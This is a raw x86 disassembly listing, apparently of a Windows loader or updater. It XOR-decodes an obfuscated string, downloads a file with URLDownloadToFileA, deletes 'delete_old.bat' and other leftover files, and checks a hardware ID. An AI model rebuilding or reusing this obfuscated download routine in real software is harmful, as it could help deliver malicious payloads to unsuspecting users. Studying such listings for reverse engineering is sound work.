xorps xmm1, xmmword [ebp - 0x660]
mov dword [ebp - 0x650], 0xce7e3a4d
mov dword [ebp - 0x64c], 0x635ed0f6
mov dword [ebp - 0x648], 0xfb258a
mov dword [ebp - 0x644], 0xc4361bb
xorps xmm2, xmmword [ebp - 0x650]
movaps xmmword [ebp - 0x640], xmm1
movaps xmmword [ebp - 0x630], xmm2
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b528
sub ecx, edx
lea eax, [ebp - 0x640]
push ecx
push eax
lea ecx, [ebp - 0x4cc]
call fcn.0043ec20
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x4cc]
cmp dword [ebp - 0x4b8], 0xf
lea eax, [ebp - 0x508]
push 0
cmova ecx, dword [ebp - 0x4cc]
cmp dword [ebp - 0x4f4], 0xf
push 0
cmova eax, dword [ebp - 0x508]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.00439470
call fcn.004390a0
push 0x432dc0
lea ecx, [ebp - 0x520]
call fcn.0043e5c0
mov esi, eax
mov byte [ebp - 4], 0x1d
cmp dword [esi + 4], 0
jne 0x43b5ac
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push dword [esi]
call edi
add esp, 8
test eax, eax
je 0x43b5c8
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov dword [esi], 0
mov dword [esi + 4], 0
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x51c], 0
je 0x43b5e8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x4328d0
lea ecx, [ebp - 0x520]
call fcn.0043e5c0
mov esi, eax
mov byte [ebp - 4], 0x1e
cmp dword [esi + 4], 0
jne 0x43b60c
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push dword [esi + 4]
push dword [esi]
call edi
add esp, 8
test eax, eax
je 0x43b622
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov dword [esi], 0
mov dword [esi + 4], 0
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x51c], 0
je 0x43b642
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea edx, [ebp - 0x4cc]
mov dword [ebp - 0x51c], eax
lea ecx, [ebp - 0x51c]
call fcn.00439c90
call fcn.004397e0
push 0x3e8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Beep]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push str.delete_old.bat
call esi
add esp, 4
push str.firstrun.txt
call esi
add esp, 4
push str.prev_version.txt
call esi
mov ecx, dword [ebp - 0x4b8]
add esp, 4
cmp ecx, 0xf
jbe 0x43b6d2
mov edx, dword [ebp - 0x4cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b6c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b814
push ecx
push edx
call fcn.004765e8
add esp, 8
mov ecx, dword [ebp - 0x4f4]
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 0xf
mov byte [ebp - 0x4cc], 0
cmp ecx, 0xf
jbe 0x43b727
mov edx, dword [ebp - 0x508]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b71d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b814
push ecx
push edx
call fcn.004765e8
add esp, 8
mov ecx, dword [ebp - 0x4a0]
mov dword [ebp - 0x4f8], 0
mov dword [ebp - 0x4f4], 0xf
mov byte [ebp - 0x508], 0
cmp ecx, 0xf
jbe 0x43b77c
mov edx, dword [ebp - 0x4b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b772
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b814
push ecx
push edx
call fcn.004765e8
add esp, 8
mov ecx, dword [ebp - 0x470]
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 0xf
mov byte [ebp - 0x4b4], 0
cmp ecx, 0xf
jbe 0x43b7cd
mov edx, dword [ebp - 0x484]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b7c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b814
push ecx
push edx
call fcn.004765e8
add esp, 8
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0xf
mov byte [ebp - 0x484], 0
cmp ecx, 0xf
jbe 0x43b824
mov edx, dword [ebp - 0x49c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b81a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43b81a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004765e8
add esp, 8
or eax, 0xffffffff
jmp 0x43b8a8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00476194
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.failed_to_get_hwid
lea ecx, [ebp - 0x778]
call fcn.0042e6e0
push 0x493868
lea eax, [ebp - 0x778]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3